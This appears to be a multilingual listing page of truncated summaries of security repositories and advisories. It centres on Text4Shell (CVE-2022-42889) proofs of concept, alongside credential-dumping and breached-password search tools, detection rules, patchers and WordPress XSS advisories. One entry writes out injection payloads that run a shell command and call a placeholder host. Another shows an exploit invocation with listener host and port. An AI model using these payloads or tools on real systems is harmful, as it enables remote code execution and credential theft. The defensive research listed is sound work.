WindowsPatchDetector

实验性 Windows .text 段补丁检测器 ====================== 实验性：Windows .text 段比较 - 磁盘与内存 原始想法 在阅读了 Skeleton Key 恶意软件（http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/）的相关文章后，开发一个小工具，将磁盘上 .exe 和 .dll 文件中的 .text 段与它们在 RAM 中的对应部分进行比较，以检测补丁。 结果 整体上适用于 32 位和 64 位二进制文件...

CVE-2022-42889-POC

CVE-2022-42889-POC Apache Commons-Text 漏洞 CVE-2022-42889 的概念验证攻击代码。 问题是什么： Apache Commons Text 支持变量插值，允许动态评估和扩展属性。插值的标准格式为 $prefix:name，其中“prefix”用于定位实现插值的 org.apache.commons.text.lookup.StringLookup 实例。从版本 1.5 到 1.9，默认的 Lookup 实例包含的插值器可能导致任意代码执行或与远程服务器建立连接。这些插值器包括： "script" — 使用 JVM...

c0ntextomy

c0ntextomy 一种非正式谬误和虚假归因类型，其中一段文本被从其上下文中移除，从而扭曲其原本意图。 维基百科 - 断章取义 一个概念验证，演示了通过调试会话劫持、远程代码执行和敏感数据窃取进行的漏洞利用。 安全公告 macOS/Xcode 的 MobileDevice.framework 以及 iOS/iPadOS/tvOS 的开发工具存在设计缺陷，导致网络通信以明文形式传输，尽管服务连接设置确实执行了 SSL 握手。 有关漏洞的详细信息、受影响组件及版本，请参阅 advisory.md。 作者 Dany Lisiansky @danyl931，独立安全研究员 Nikias...

reconpal

ReconPal: NLPを活用した情報セキュリティ...

reconpal

ReconPal: Leveraging NLP for Infosec Recon is one of the most important phases that seem easy but takes a lot of effort and skill to do right. One needs to know about the right tools, correct queries/syntax, run those queries, correlate the information, and sanitize the output. All of this might ...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 🔥🔥🔥 Apache commons text - CVE-2022-42889 Text4Shell 漏洞利用的概念验证。 详情📃 CVE-2022-42889 影响 Apache Commons Text 1.5 至 1.9 版本。该漏洞已在 Commons Text 1.10 版本中得到修复。 该漏洞被比作 Log4Shell，因为它是一个开源库级别的漏洞，有可能影响大量使用相关对象的软件应用程序。 然而，初步分析表明，这种比较并不恰当。与 Log4Shell 不同，该漏洞的性质意味着应用程序使用 Commons Text...

mimipenguin

MimiPenguin 2.0 現在のLinuxデスクトップユーザーのログインパスワードをダンプするツール。人気のWindowsツールmimikatzの背後にあるアイデアを応用したものです。これは CVE-2018-20781 https://vulners.com/cve/CVE-2018-20781 に割り当てられました。興味深い事実として、GNOME Keyring 3.27.2 以降も修正されておらず、3.28.0.2-1ubuntu1.18.04.1 でもまだ動作します。 詳細...

SMWYG-Show-Me-What-You-Got

SMWYG-Show-Me-What-You-Got このツールは、組織または個人に対するOSINTおよび偵察を実行できます。BreachCompilationリークの一部としてダンプされた14億件の平文認証情報を検索できます。このデータベースにより、パスワードの検索がこれまで以上に迅速かつ簡単になります。 スクリーンショット 上記の画像では、uber.com の認証情報を検索し、203 アカウントが見つかりました。 前提条件 以下がインストールされていることを確認してください: - Python 3.0 以降。 - pip3 sudo apt-get install python3-p...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 描述 此脚本是一个渗透测试工具，旨在利用 Apache Commons Text（版本 -param $PARAMETER -L $LHOST -P $LPORT 示例 python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 免责声明 此工具仅用于教育目的和经过授权的渗透测试。作者不对因使用此脚本而导致的任何滥用或损害负责。...

CVE-2022-42889

CVE-2022-42889-POC 一个简单的演示应用程序，展示了如何利用CVE-2022-42889漏洞。 利用带外（OOB）服务来演示dns和url前缀。 commons-text插值的JavaDoc：commons-text JavaDocs 插值示例 script:javascript "$script:javascript:java.lang.Runtime.getRuntime.exec'touch /tmp/blop'" dns "$dns:address|HOST" url "$url:UTF-8:http://HOST" 引用自Rapid7...

cobaltstrike-sleepmask-yara

cobaltstrike-sleepmask-yara 只是一个 git 仓库，用于存放我在 https://codex-7.gitbook.io/codexs-terminal-window/blue-team/detecting-cobalt-strike/sleep-mask-kit-iocs 找到的 sleepmask 检测规则。 tl;dr 简而言之，这些字节属于 sleep mask kit 未混淆的 .text 段 本身，并且在睡眠时不会被混淆。使用内置的 sleepmasking 技术时，不可能对该区域进行加密，因为它必须保持可执行状态才能唤醒...

CVE-2022-31901

CVE-2022-31901 拒绝服务（DOS）漏洞，影响 Notepad++x86 版本 8.4.3 及之前版本。 描述 通过打开两个特制的文本文件（例如 first.txt 和 second.txt）作为 Notepad++ 的输入来触发漏洞。 以下示例展示，截至 2022年7月11日，最新版本的 Notepad++x86 为 8.4.3。 概念验证 - 以任意顺序在 Notepad++ 中打开两个示例输入文件 first.txt 和 second.txt。 结果： Visual Studio 2019 转储分析 这里可以看到解析这些文件的问题位于 ScintallComponent...

CVE-2025-46295-fix-fms

FileMaker Apache Commons JAR 替换器 概述 FileMaker Apache Commons JAR 替换器是一种自动化解决方案，通过替换 FileMaker Server 安装中易受攻击的 Apache Commons JAR 文件来解决 CVE-2025-46295 。该方案无需升级整个 FileMaker Server，而是遵循 Claris 官方指南，仅将易受攻击的 commons-text 和 commons-lang3 JAR 文件替换为更新版本。 快速下载 对于大多数用户，请直接下载最新版本，而无需从源码构建： 下载最新版本 1. 前往发布页面 ...

CVE-2025-55780

CVE-2025-55780 MuPDF 1.26.4 EPUB渲染函数中的空指针解引用 CVE参考 - CVE-2025-55780 受影响版本：1.26.7及之前版本受影响 发现并测试于：1.26.4 严重性 CVSSv3 评分：7.5（高） 修复提交： https://cgit.ghostscript.com/cgi-bin/cgit.cgi/mupdf.git/commit/?id=bdd5d241748807378a78a622388e0312332513c5 Bugzilla：https://bugs.ghostscript.com/showbug.cgi?id=708720...

CVE-2026-91108

The Alt Text AI – Automatically generate image alt text for SEO and accessibility plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.10.41. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes i...

CVE-2026-100148

The Rich Showcase for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'reviews.text' parameter in all versions up to, and including, 7.1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with...

text4shell-tools

commons-text-tools 快速链接 点击查找： 查找 commons-text .jar 文件及其版本 对 commons-text 漏洞函数的调用 对 commons-text .jar 文件进行热补丁以禁用危险行为 扫描与修补示例 概述 CVE-2022-42889 可能对广泛的基于 Java 的应用程序构成严重威胁。开发人员在此时可能会提出的重要问题包括： 1. 我的代码是否包含 commons-text？是哪些版本？ 发布的代码是否包含 commons-text？其中包含哪个版本的库？由于两个因素，回答这些问题可能并不直接： 1. 传递性依赖：虽然...

CVE-2026-100148 Rich Showcase for Google Reviews <= 7.1.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Google Review Text (imported via Places API)

The Rich Showcase for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'reviews.text' parameter in all versions up to, and including, 7.1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with...

CVE-2026-100148

The Rich Showcase for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in all versions up to and including 7.1.3 . The root cause is insufficient input sanitization and output escaping of the 'reviews[].text' parameter. An authenticated attacker with subscrib...

EUVD-2026-91913

The Rich Showcase for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'reviews.text' parameter in all versions up to, and including, 7.1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with...